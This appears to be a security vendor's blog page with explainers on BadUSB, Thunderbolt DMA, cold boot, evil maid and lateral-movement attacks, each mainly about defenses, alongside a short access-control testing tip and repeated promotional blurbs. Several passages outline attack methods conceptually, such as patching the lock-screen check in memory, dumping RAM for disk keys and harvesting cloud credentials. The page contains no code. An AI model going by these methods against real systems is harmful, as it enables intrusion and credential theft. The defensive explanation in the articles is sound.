    How do I test my app for broken access control?

    Create two normal users and one admin, then note which objects belong to each. While signed in as user A, request user B’s objects and confirm the answer is 403 Forbidden or 404 Not Found. Replay every request an admin makes using a member token. Add fields such as role, is_admin, and owner_id to bodies that do not document them. Then repeat the whole exercise on search, list, export, and download paths, which are checked far less often than the direct fetch.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • BadUSB Attack: When a USB Stick Pretends to Be Your Keyboard

    BadUSB Attack: When a USB Stick Pretends to Be Your Keyboard

    A BadUSB attack starts with a device that lies about what it is. It looks like an ordinary flash drive, but the tiny controller chip inside has been reprogrammed to tell your computer it is a keyboard. The moment you plug it in, it starts typing commands on its own, far faster than any person could, and the machine obeys because keyboards are trusted by design. There is no virus file to find, because the trick is not a file at all. It is the device claiming an identity it should never have.

    What does HID mean, and why does your computer trust keyboards?

    HID stands for Human Interface Device. It is the standard category the USB specification uses for the things a person operates directly: keyboards, mice, game controllers, and similar input hardware. When you plug one in, the device introduces itself with a small description of what it is and what it can send. Your operating system reads that description, sees the word keyboard, and loads a generic driver that is already built into the system. No installation, no prompt, no scan. You expect a keyboard to send keystrokes, so a keyboard is allowed to send keystrokes the instant it arrives.

    That trust is deliberate and it is also the whole problem. A keyboard is the one peripheral that is assumed to speak for the human sitting at the desk. Whatever it types, the computer treats as your intent. There is no meaningful check on whether a keyboard is real, whether a human is actually pressing keys, or whether the typing speed makes any sense for a person. The identity a USB device announces is taken at face value, and the identity is exactly what a BadUSB attack forges.

    How a BadUSB attack forges an identity at the firmware level

    Every USB device runs a small piece of software of its own, called firmware, on its controller chip. That firmware decides the descriptor the device shows the host: this is a mass storage device, or this is a keyboard, or both. On many cheap controllers that firmware can be rewritten. Once it is rewritten, the same physical stick that used to say flash drive can instead say keyboard, and it will hold that story every time it is plugged into any machine.

    Picture a made up example. An attacker leaves a plain looking USB stick in the parking lot of an office we will call Acme. A curious employee finds it, plugs it into a work laptop to see who it belongs to, and expects a folder of files. Instead the stick has been reprogrammed. Its firmware announces a keyboard, the laptop loads the trusted keyboard driver without asking, and the device fires off a short burst of keystrokes it had stored on board. To the laptop, a person just sat down and typed very quickly. Nothing about the traffic looks wrong, because as far as the operating system knows, a keyboard did what keyboards do.

    There is no malware to scan for. The attack is the device claiming to be a keyboard, and your computer has no habit of doubting a keyboard.

    Why antivirus does not see it

    Antivirus works by inspecting files and processes for known bad patterns. A BadUSB attack hands it nothing to inspect. The malicious part lives in the device firmware, not on disk, and the firmware never copies a suspect file onto your machine. What reaches the computer is a stream of keystrokes, which is the most normal input a computer can receive. You cannot quarantine a key press. You cannot flag a keyboard as malware without flagging every keyboard.

    This is why the defense cannot be a scanner. The failure is a trust decision made before any file exists: the decision to believe a device’s claim about its own identity. Fixing it means changing who is allowed to become a trusted keyboard, and under what conditions, rather than hunting for something to delete.

    How is this different from juice jacking?

    It is easy to lump every USB threat together, but these are two different problems and the fix for one does not fix the other. Juice jacking is about a charging port or cable that carries data as well as power, so a public charging station could try to pull files off your phone or push something onto it while it charges. It abuses the fact that one USB connector moves both power and data. We cover that risk on its own in juice jacking explained.

    A BadUSB attack is not about power or file transfer. It is about identity. The device is not reading your data or sneaking a file across, it is pretending to be a class of hardware your computer trusts and then acting as that hardware. One is a data over power problem. The other is an identity problem. A data blocker that strips the data pins can help against juice jacking, but a device you deliberately plug in as a keyboard still gets to be a keyboard.

    How do you defend against it?

    • Never plug in a device you did not buy. A found stick, a giveaway drive, a cable of unknown origin. The single most reliable defense is refusing the physical introduction in the first place.
    • Use USB device control and allowlisting. Tools such as USBGuard on Linux let you approve devices by their properties and block everything else by default, so a brand new keyboard appearing out of nowhere is refused rather than trusted.
    • Require confirmation before a new keyboard is trusted. A policy where a freshly connected input device has to be approved by the person at the machine removes the whole point of a device that types the instant it is plugged in.
    • Disable unused USB ports or fit port blockers. If a port does not need to accept input hardware, close it. Fewer open ports means fewer places a forged keyboard can introduce itself.
    • Lock your screen and use short timeouts. A device that types into a locked machine reaches almost nothing. Short idle timeouts shrink the window in which a burst of typed commands can land on a desktop left open.
    • Treat trust as physical, not just digital. The same mindset that governs an evil maid attack applies here: once someone can touch your hardware, software controls alone are not enough.

    Peripherals earn trust by claiming an identity, and that claim is rarely checked. The same theme runs through how Bluetooth LE pairing breaks, where a trusted wireless channel can be set up more loosely than people assume. The lesson under all of it is one worth carrying into software too: an identity a system merely announces is not the same as an identity a system has verified. That gap between assumed trust and proven trust is exactly the kind of assumption we care about testing, and you can read more about how we think on our about page.

    Frequently asked questions

    What is a BadUSB attack?

    It is an attack where the firmware inside a USB device is reprogrammed so the device lies about what it is. A stick that looks like a flash drive tells your computer it is a keyboard, and the moment you plug it in it types a burst of commands the computer trusts, because keyboards are trusted by design.

    What does HID mean and why does it matter here?

    HID stands for Human Interface Device, the USB category for input hardware like keyboards and mice. Your operating system loads a built in driver for a keyboard automatically and lets it send keystrokes right away. A BadUSB attack abuses that trust by announcing itself as a keyboard when it is really something else.

    Why does antivirus not catch a BadUSB attack?

    Because there is no malicious file to scan. The trick lives in the device firmware, and what reaches your computer is a stream of keystrokes, which is the most normal input a machine can receive. You cannot flag a keyboard as malware without flagging every keyboard, so the defense has to be about controlling which devices are trusted, not scanning for files.

    How is a BadUSB attack different from juice jacking?

    Juice jacking is about a charging port or cable that moves data as well as power, so it might read or plant files while your phone charges. A BadUSB attack is not about power or file transfer at all. It is an identity problem, where the device pretends to be a class of hardware the computer trusts and then acts as that hardware.

    How do you defend against a BadUSB attack?

    Never plug in a device you did not buy, especially a found or giveaway stick. Use USB device control and allowlisting such as USBGuard, require confirmation before a new input device is trusted, disable unused ports or fit port blockers, and keep your screen locked with short idle timeouts so typed commands reach almost nothing.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • DMA Attack Over Thunderbolt: Reading Memory Past the Lock Screen

    DMA Attack Over Thunderbolt: Reading Memory Past the Lock Screen

    A DMA attack abuses Direct Memory Access, the feature that lets some peripherals read and write system RAM directly, without asking the CPU for each byte, because that is faster. A malicious device plugged into a Thunderbolt or PCIe port can ride that same channel to read and write memory behind the operating system’s back. It can scrape secrets straight out of RAM, or patch the code that checks the lock screen, while the machine sits locked on a desk. The login prompt never mattered here, because the attack never went near the keyboard.

    What is Direct Memory Access and why does it exist?

    Moving data through the CPU is slow. If a disk controller, a network card, or a graphics card had to interrupt the processor for every chunk of data it copied, the processor would spend most of its time shuffling bytes instead of running programs. Direct Memory Access solves that. The device is handed the ability to talk to main memory on its own, so it reads and writes RAM while the CPU gets on with other work. When the transfer finishes, the device raises one interrupt to say it is done.

    This is a deliberate design and a good one. A high speed capture card writing video frames, or a network card receiving packets, needs to place data in memory fast. The point to remember is what the feature grants: a device that can do DMA is trusted to reach into system memory directly. On a machine that hands out that trust freely, the port becomes a door into RAM.

    How a DMA attack turns a plugged in device into a memory reader

    Thunderbolt is the part that surprises people. A Thunderbolt port is not only a data port. It carries PCI Express, the internal bus that expansion cards sit on, out to a socket on the side of the laptop. A device on that bus is treated much like a card installed inside the case, which means it can be granted the same DMA rights an internal card has.

    So the attacker does not need to break a password. They build or buy a small device that presents itself as a normal peripheral, plug it into the exposed port, and ask the bus for memory. If nothing restricts the request, the device reads whatever addresses it likes.

    With direct reach into RAM, two moves open up:

    • Read secrets out of memory. Disk encryption keys, session tokens, cached passwords, and private data all live in RAM while the machine is on. A device that can read arbitrary memory can copy them out, even though the screen is locked.
    • Write memory to change behavior. The routine that decides whether your password is correct is just bytes in RAM. Overwrite the check so it always returns success, and the lock screen accepts anything you type.

    The lock screen is a question the operating system asks itself in memory. A device that can rewrite that memory gets to answer the question for it.

    A locked laptop on an open desk

    Picture an invented machine, the Acme laptop, left locked on a desk while its owner steps away for coffee. The screen shows a password prompt. Everything looks safe. But a Thunderbolt port on the side is open and active.

    An attacker walks up, plugs a prepared device into that port, and the device requests a sweep of system memory. Because the machine grants DMA to the device without restriction, the request succeeds. In one path the attacker copies the region holding the disk encryption key and walks away with it. In another the attacker locates the password check and patches it in place, then types any password and is let in. The owner returns to a laptop that looks exactly as they left it. Nothing was typed at the prompt, and no keyboard log would show a thing, because the keyboard was never used.

    This is close in spirit to the evil maid attack, where brief physical access to an unattended machine is enough to tamper with it. It also overlaps with the cold boot attack, another route to reading secrets out of memory, though that one chills and reboots the RAM rather than riding a live bus.

    Why the login prompt was never the barrier

    It helps to compare this with a threat that looks similar and is not. In juice jacking, a hostile charging port pushes power and data over USB and tries to trick the operating system into mounting the device or accepting a payload. That attack still goes through the software stack. It knocks on the front door.

    A DMA attack skips the door. It does not send input the operating system will read and validate. It reaches under the operating system and touches memory directly, so the checks that guard the login path are never consulted. That is why a strong password does not help here on its own. The password matters only if something forces the attacker’s device to go through the code that checks it, and raw DMA does not.

    How do you defend against it?

    The fix is to stop trusting a plugged in device with unrestricted memory, and to time that distrust for the moment the machine is most exposed.

    • Turn on the IOMMU. The IOMMU, called Intel VT-d on Intel platforms and given an equivalent name by AMD, sits between devices and memory and translates the addresses a device may use. With it configured, a device sees only the small window it was assigned, not all of RAM. It is the single most important control here, so confirm it is enabled in firmware and used by the operating system.
    • Enable Kernel DMA Protection. On modern systems this feature blocks DMA from Thunderbolt and similar ports until a user has logged in, and keeps blocking newly attached devices while the screen is locked. That closes the exact window in the Acme example, the locked and unattended desk.
    • Set Thunderbolt security levels and require approval. Thunderbolt can be told to require a human to approve each new device before it is granted access, rather than trusting anything inserted. Set the security level so an unknown device gets nothing until someone says yes.
    • Deny DMA before login and while locked. The dangerous moments are the ones with no user present: before boot finishes and whenever the machine is locked. Configure the system so external DMA is refused in both states, and only allowed once an authenticated user is active.
    • Disable ports you do not use. If a laptop never needs Thunderbolt or an external PCIe path, turn it off in firmware. A port that grants no access is not a door at all.

    The theme across all of these is the same. Speed features are safe until they are handed to an untrusted device at an unguarded moment, and the defense is to narrow both what a device can reach and when it is trusted at all.

    This class of problem is about an assumption the machine makes, that a device on the bus is allowed in memory, rather than about a malformed input. That is the kind of hidden assumption an autonomous researcher built to test assumptions, rather than to match known payloads, is meant to probe. You can read more about how we think about that on our about page.

    Frequently asked questions

    What is a DMA attack?

    It is an attack that abuses Direct Memory Access, the feature that lets some peripherals read and write system RAM directly without going through the CPU. A malicious device plugged into a Thunderbolt or PCIe port uses that channel to read secrets out of memory or to patch the lock screen check, all while the machine sits locked.

    Can a DMA attack work while my laptop is locked?

    Yes. That is the point of it. The attack reaches memory directly and never sends input through the login path, so the lock screen is not consulted. A device with unrestricted DMA can copy encryption keys out of RAM or overwrite the password check even though the screen shows a locked prompt.

    Why is Thunderbolt a risk when USB feels safe?

    A Thunderbolt port carries PCI Express out to the side of the machine, so a device on it is treated much like an expansion card inside the case and can be granted the same direct memory rights. Threats like juice jacking still go through the software stack over USB, while a DMA attack goes under the operating system entirely.

    How do I defend against a DMA attack?

    Enable the IOMMU so a device sees only the memory window it was assigned, turn on Kernel DMA Protection so external ports are blocked before login and while locked, set Thunderbolt to require approval for each new device, and disable ports you never use. The goal is to narrow both what a device can reach and when it is trusted at all.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Cold Boot Attack: How Encryption Keys Survive a Power Off

    Cold Boot Attack: How Encryption Keys Survive a Power Off

    A cold boot attack recovers secrets from a computer’s memory after the power is cut, using a physical fact that surprises most people: RAM does not forget instantly. For a short window the bits stay readable, and the most valuable of them is the disk encryption key that a running system keeps in memory so it can work. An attacker with the machine in hand cuts power, boots a tiny program that reads memory back out, and walks away with the key that was supposed to protect an encrypted drive.

    What a cold boot attack actually exploits

    Dynamic RAM stores each bit as a charge in a tiny capacitor. Those capacitors leak, so the chip refreshes every cell many times a second to hold the value. When you remove power the refresh stops, but the charge does not vanish. It drains over a period that ranges from a fraction of a second to several seconds at room temperature, and the pattern of bits stays mostly intact for that whole time. This slow fade is called DRAM remanence, and it is the gap the attack lives in.

    The trick that makes the window longer is temperature. Cold capacitors leak slower. If you chill the memory chips with a can of compressed air held upside down, or colder still, the contents can survive for minutes instead of seconds, long enough to move the chips into another machine and read them there at leisure. That chilling step is where the name comes from.

    A locked laptop that is only asleep is holding its own decryption key in a place an attacker can read.

    Why the disk key sits in RAM in the first place

    Full disk encryption protects data at rest. When the machine is off, the drive is a block of ciphertext and the key is derived from your passphrase or unwrapped by the TPM at boot. But once the system is running it needs to read and write files constantly, and it cannot ask you for the passphrase on every block. So it keeps the master key, or a key derived from it, resident in RAM for the whole session. That is not a bug. It is how the drive stays usable in real time.

    The consequence is the whole point of the attack. A machine that is powered on, even locked, even suspended to RAM, is a machine whose decryption key is loaded and waiting. Sleep does not clear it. The lock screen only blocks the keyboard and mouse; it does nothing to the contents of memory. So the security of an encrypted disk quietly depends on the state the laptop was left in, not just on the strength of the passphrase.

    An example: the Acme laptop left suspended

    Picture a work laptop from an invented company, Acme. An employee closes the lid at an airport gate and the machine suspends to RAM. The drive is encrypted, the login screen is up, and the employee assumes the data is safe because the disk is locked. Someone takes the laptop. Instead of guessing the passphrase, the attacker cuts power, then immediately powers the machine back on into a small purpose built program loaded from USB. That program does one job: copy the raw contents of memory to an external drive. Somewhere in that dump, in a predictable structure, is the disk key. The encryption did its job perfectly and still lost, because the key was sitting in RAM the entire time the lid was closed.

    How the key is found in a memory dump

    A raw memory image is a large, messy blob, but disk encryption keys are not hidden in it well. Cipher key schedules have a recognisable structure, so an attacker scans the dump for byte patterns that match an expanded key and confirms candidates by trying to decrypt a known block. Because remanence is not perfect, some bits in the dump will have decayed to their ground state. Key finding tools account for this by correcting a handful of flipped bits until a valid key falls out. The upshot is that even a partly faded image is often enough.

    The defenses that close the window

    There is no single switch that removes the risk, but several measures each shrink it, and together they close most of the gap. The right mix depends on how exposed the machine is.

    • Shut down instead of sleeping in high risk situations. A full power off gives the memory time to fade and lets the system clear keys on the way out. If a laptop crosses a border or is left unattended, shut it down rather than suspending it. Hibernation writes state to the encrypted disk and powers off, which is safer than suspend to RAM as long as the hibernation image lands on the encrypted volume.
    • Scrub keys on shutdown and reboot. The operating system can overwrite key material with zeroes as it powers down, so a dump taken a moment later finds nothing useful. Wiping memory early in the boot sequence closes the reboot into a tiny program path, because the attacker’s tool arrives to find the secrets already gone.
    • Keep keys out of plain RAM. Some designs hold the key in CPU registers or on chip cache rather than main memory, or seal it in the TPM and release it only under strict conditions. A key that never sits in DRAM cannot be read out of DRAM.
    • Use hardware memory encryption. Modern platforms can encrypt the contents of RAM with a key held inside the memory controller. A dump of the chips then yields ciphertext, and moving the chips to another machine yields noise, because the decrypting key never leaves the processor package.
    • Refuse to boot untrusted code. Boot protections that check the loader before running it stop the classic reboot into a rogue memory dumper. See how secure boot works for the mechanism that verifies each stage before handing over control.

    Where this sits among physical access attacks

    A cold boot attack needs the attacker to hold the machine, which places it in the same family as the evil maid attack, the umbrella for threats that assume brief physical access to a device you left behind. It is a close relative of the DMA attack over Thunderbolt, which reaches the same target, the contents of RAM, but through a fast peripheral port instead of by pulling power. Encrypting the data on the disk is not the finish line; the memory of a running machine is a second copy of your secrets, and it is far softer.

    The common thread across all three is that a defense which looks complete on paper can leave a live copy of the very thing it protects sitting in an easier place. That gap, between what a system claims to secure and what it actually leaves exposed, is exactly the kind of assumption an autonomous researcher built to test assumptions is meant to probe. More about how we think about that on our about page.

    Frequently asked questions

    What is a cold boot attack?

    It is a physical attack that reads secrets out of a computer’s RAM after the power is cut. Because memory chips hold their contents for a short window rather than clearing instantly, an attacker can reboot into a small program, or move the chips to another machine, and dump memory to recover the disk encryption key the running system kept there.

    Why does data stay in RAM after the power is off?

    Dynamic RAM stores each bit as a charge that leaks slowly once the chip stops refreshing it. At room temperature the bits fade over a period from a fraction of a second up to several seconds, and chilling the chips stretches that window to minutes. This slow fade is called DRAM remanence.

    Does full disk encryption stop a cold boot attack?

    Not on its own. A running system keeps the disk key resident in RAM so it can read and write files, so a machine that is powered on, locked, or asleep is holding its own key in memory. The encryption protects the drive at rest, but the key in RAM is a second copy an attacker can read.

    How do you defend against a cold boot attack?

    Shut the machine down fully instead of sleeping in high risk situations, scrub keys to zero on shutdown and early in boot, keep keys in CPU registers or the TPM rather than plain RAM, use hardware memory encryption where the platform supports it, and enable boot protections that refuse to run untrusted code.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Evil Maid Attack: What Brief Physical Access Really Costs You

    Evil Maid Attack: What Brief Physical Access Really Costs You

    An evil maid attack is what a stranger can do to your laptop during a few unsupervised minutes while it sits powered off in a hotel room, on a coworking desk, or in a bag handed over at a border checkpoint. The name comes from the picture of a hotel maid who slips into your room, does something to the machine on the desk, and slips out again in the time it takes to change the towels. Full disk encryption keeps the data safe while the device is off, but it does nothing for the code that runs before you type your password, and that gap is exactly where this attack lives.

    How the evil maid attack works

    Picture an invented machine, the Acme laptop, encrypted with full disk encryption and left in a hotel room for the afternoon. The attacker does not need to break the encryption. They need to change what happens the next time you turn the device on.

    The trick is that a small piece of code has to run before the disk can be decrypted. Something must draw the password prompt, take your keystrokes, and hand the key to the disk. That code sits in the firmware and the bootloader, in the early boot chain, and on an unprotected machine it is not itself encrypted, because it is the thing that does the decrypting. It has to be readable to run. So the attacker replaces it.

    They power on the Acme laptop, or boot it from a USB stick, and overwrite the bootloader with a look alike. Their version shows the same password prompt you expect. When you come back, sit down, and type your passphrase, the tampered code captures it, tucks it somewhere on the disk or sends it out over the network, and then quietly hands control to the real boot path so the machine behaves normally. You notice nothing. The attacker returns later, enters the password they stole, and now the encryption that protected the whole disk simply opens for them.

    Encryption answers the question of whether someone can read a disk they stole. It says nothing about whether the machine you are about to log into is still the machine you left behind.

    Why encryption alone does not stop it

    Full disk encryption is built to defend against a lost or stolen device. If the laptop never comes back to you, the attacker holds a locked box and no key, and the design works as intended. The evil maid attack breaks a different assumption. Here the device does come back to you, and you type your password into it yourself.

    Think about what the encryption actually covers. It protects the data at rest, the files on the drive. It cannot protect the code that runs before the drive is decrypted, because that code is what asks you for the key. On a machine with no boot integrity checking, nothing verifies that the password prompt in front of you is the real one. You trust the screen, you type the secret, and a full disk encryption setup has no way to know the screen was swapped. The key exists only in your head until the moment you enter it, and that moment is what the attacker is patient enough to wait for.

    The defenses that actually address it

    The fix is not stronger encryption. It is making tampering with the boot chain either impossible or obvious, and treating your physical control of the device as part of the security model.

    Verify the boot chain

    Secure boot and measured boot are the technical core of the answer. Secure boot checks that each stage of startup is signed by a key the firmware trusts, so a swapped bootloader that is not signed will refuse to run. Measured boot goes further: a Trusted Platform Module, or TPM, records a fingerprint of each component as it loads, and the disk key is released only if those fingerprints match the known good machine. Tamper with the early code and the measurements change, so the TPM will not hand over the key and the tampering is caught before you ever type anything. If you want the mechanics of that signing and measurement, see how secure boot works.

    Add pre boot authentication

    Pre boot authentication puts a secret in front of the boot process itself, so an attacker cannot even reach a normal prompt without something they do not have. Paired with a TPM that expects a specific boot state, it narrows the window in which a fake prompt could be shown to you at all.

    Make tampering visible

    Low tech defenses matter here because the whole attack depends on you not noticing. Tamper evident seals over screws and ports mean that opening the case leaves a mark you can check. Some people photograph the exact pattern of a glitter nail polish blob over a seam, because it is effectively impossible to reproduce. None of this stops a determined attacker, but it turns a silent swap into something you can see.

    Keep the device with you

    The cleanest defense is to deny the physical access the attack requires. Keep the laptop on you rather than in the hotel safe. If it must be left, power it off fully rather than leaving it asleep, so keys are not sitting in memory. And treat any device that was out of your sight, through a border check, a repair counter, or an afternoon in a room, as potentially compromised. Reflash the firmware from a trusted source, or in a high stakes setting, retire the machine rather than trusting it again.

    Where this sits among physical access attacks

    The evil maid attack is one of a family that all start from brief hands on time with your hardware. A cold boot attack pulls encryption keys straight out of RAM in the seconds after power is cut, when the chips still hold their charge. A DMA attack over Thunderbolt reads live memory through a port without ever passing the lock screen. And a BadUSB device pretends to be a keyboard and types commands the moment it is connected. Each one sidesteps encryption by going after the machine while it runs or before it locks, rather than the data sitting still.

    What ties them together is a lesson worth carrying: a threat model that stops at data at rest is only half a model. The other half is the integrity of the device you decrypt and the memory it holds while it runs. That second half is the kind of assumption an autonomous researcher built to test assumptions, rather than match a list of known payloads, is meant to probe. More on how we think about that sits on our about page.

    Frequently asked questions

    What is an evil maid attack?

    It is an attack in which someone gets brief unsupervised physical access to your powered off device and tampers with its boot chain. The tampered code captures your disk encryption password the next time you type it, then the attacker returns to collect the password and decrypt everything.

    Does full disk encryption stop an evil maid attack?

    No. Full disk encryption protects data at rest, which defends a lost or stolen device. It does not protect the bootloader and firmware that run before you type your password, so an attacker who returns the machine to you can swap that early code to steal the password you type.

    How do secure boot and a TPM help?

    Secure boot refuses to run boot code that is not signed by a trusted key. Measured boot with a TPM records a fingerprint of each startup component and releases the disk key only if those fingerprints match the known good machine, so tampering is caught before you enter your passphrase.

    What should I do if my laptop was left unattended?

    Treat it as potentially compromised. Check any tamper evident seals, and if the device was out of your sight at a border check, a repair counter, or a hotel room, reflash its firmware from a trusted source or, in a high stakes setting, stop trusting that machine.

    How can I reduce the risk in practice?

    Keep the device with you, power it off fully rather than leaving it asleep, and turn on secure boot, measured boot, and pre boot authentication. Tamper evident seals make a silent swap visible, and treating any unattended device as suspect closes the gap the attack relies on.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Lateral Movement: How One Foothold Becomes the Whole Cluster

    Lateral Movement: How One Foothold Becomes the Whole Cluster

    In July 2026 Hugging Face disclosed that an intruder who gained a foothold on a single dataset processing worker escalated to node level access, harvested cloud and cluster credentials, and moved across multiple internal clusters over a weekend. A Cloud Security Alliance post mortem read Hugging Face’s July 2026 disclosure as a textbook case of lateral movement: the break in touched one machine, but what followed turned that one machine into the run of the whole estate. We walk the shape of that problem here on an invented example app, Acme Cluster, and the controls that actually contain it.

    The break in is rarely where the damage comes from

    Most incident write ups spend their energy on the entry: the unpatched service, the leaked token, the phishing click. But a single compromised host is usually a small problem. It becomes a large one because of what the attacker does next, and what they do next is almost always the same move repeated. Land on one machine, read the credentials sitting on it, use those credentials to reach the next machine, and start again.

    The damage scales with how far that loop can travel before something stops it. If the first host holds a credential that opens ten more, and each of those opens ten more, one foothold is the whole cluster within a few hops. The thing worth controlling is not only whether someone gets in. It is how far they get once they are in.

    The entry is a door. The blast radius is the building. Guarding the door while leaving every internal room open is how one worker becomes every cluster.

    What lateral movement actually looks like

    Strip away the tooling and lateral movement is a plain sequence. Consider Acme Cluster, a typical machine learning platform with a fleet of worker nodes, a few internal services, and a cloud account behind them. An attacker gets code execution on one worker, perhaps through a poisoned dependency in a job. From there the steps are boring and reliable:

    • Read what is in reach. Environment variables, files mounted into the container, an on disk cache of tokens. Secrets handed to a process at start up tend to stay readable for the life of that process.
    • Ask the platform who it is. On a cloud host, the instance metadata endpoint hands back the machine’s own role credentials to anything that can make an HTTP request from that host. On a Kubernetes node, a mounted service account token names a workload identity the API server already trusts.
    • Reuse to reach the next hop. Those credentials were minted for the workload, not the person, so they work the same from an attacker’s shell as from the real job. A database password, an internal API key, or a cloud role is now in hand.
    • Repeat. Each new host is searched the same way, and standing trust between services means each hop rarely asks for a fresh proof of identity.

    Two of those credential sources deserve a closer look, because they are where a single host quietly turns into many. The cloud metadata endpoint is covered in our piece on the instance metadata service, and the Kubernetes case in service account token abuse. Both describe the same failure: a credential that a compromised host can read and replay with no extra check.

    Why over scoped and long lived credentials do the real work

    The loop only pays off when the credential it finds is worth more than the host it was found on. Two properties make that true. First, scope: a token that can touch the whole cluster is far more useful than one that can touch a single queue. Second, lifetime: a credential that never expires can be harvested today and used next week, which is exactly what a weekend long intrusion needs. An over scoped, long lived credential sitting on a low value worker is a bridge from that worker to everything the credential can reach.

    Technique matters too, not just theft. Some moves never read a stored secret at all. An NTLM relay forwards a victim’s authentication to a third service in real time, so the attacker moves sideways without ever seeing a password. Same shape, different mechanism: one identity, reused where it should never have reached.

    Containing the blast, not just guarding the door

    If the loop is read, reuse, repeat, then the defenses all aim at breaking one link in it. None of them stop the initial break in, and that is the point. They stop the second host from falling.

    • Least privilege and tightly scoped credentials. The worker that runs a data job needs the one bucket and the one queue for that job, and nothing else. When its token is stolen, the blast radius is that bucket, not the account. Scope is the wall between hops.
    • Short lived over long lived. Swap static keys for credentials that expire in minutes and refresh through the platform. A token harvested from a worker is close to worthless if it dies before the attacker can reach the next host with it.
    • Network segmentation. A worker node has no business opening a raw connection to the billing database or another team’s cluster. Default deny between segments means a foothold can only talk to what its job genuinely needs.
    • Remove standing trust between services. “Any workload inside the network is trusted” is the assumption that turns one hop into all of them. Make every service prove who it is on every call, so a stolen identity is checked, not waved through.

    Notice that these are access control decisions, not intrusion detection ones. Most of them live in the same family as the failures we cover under access control: a system trusting a caller because of where it sits rather than checking what it is allowed to do.

    How do you catch it while it is happening?

    Prevention narrows the blast radius, but you still want to see the loop in motion. The signal is reuse in the wrong place. A worker’s service account normally talks to two endpoints, then suddenly enumerates the whole cluster. A credential minted for a job in one region is used from an address in another. A node identity that has read the same three secrets for months reaches for a fourth it has never touched.

    None of these are malformed requests. Each one is a valid credential used by the wrong hands, which is why the useful detections watch behavior against a baseline rather than scan for bad payloads. Log which identity touched which resource, learn the normal shape per workload, and alert when a credential steps outside the path it has always taken.

    This is the kind of assumption an autonomous researcher is built to probe: not “is there a known payload here” but “does this system trust a caller it has no reason to trust, and can that trust be walked from one host to the next.” In our own early testing, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. More of our writing sits under access control and on our about page.

    Frequently asked questions

    What is lateral movement?

    Lateral movement is what an attacker does after the first break in: read the credentials sitting on a compromised host, reuse them to reach the next host, and repeat until they hold the whole environment. The initial entry touches one machine, but this loop is what turns one machine into many.

    Why does blast radius matter more than the initial entry?

    Because a single compromised host is a small problem until the attacker can move off it. If the credentials on that host are tightly scoped and expire quickly, the damage stays contained to one machine. Over scoped, long lived credentials are what let one foothold become the whole cluster.

    How do short lived credentials help?

    A credential that expires in minutes is close to worthless once stolen, because the attacker has to reach the next host before it dies. Long lived static keys can be harvested today and replayed next week, which is exactly what a slow, multi day intrusion needs.

    What credentials do attackers look for on a compromised host?

    Environment variables, secrets mounted into the container, an instance metadata endpoint that returns the host’s cloud role, and a Kubernetes service account token. Each one names an identity the rest of the system already trusts, so it can be replayed to reach further.

    How do you detect lateral movement in progress?

    Watch for a valid credential used in the wrong place: a service account that suddenly enumerates the whole cluster, a token used from an unexpected region, or a node identity reaching for a secret it has never read. The requests are well formed, so detection works off behavior against a baseline, not bad payloads.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.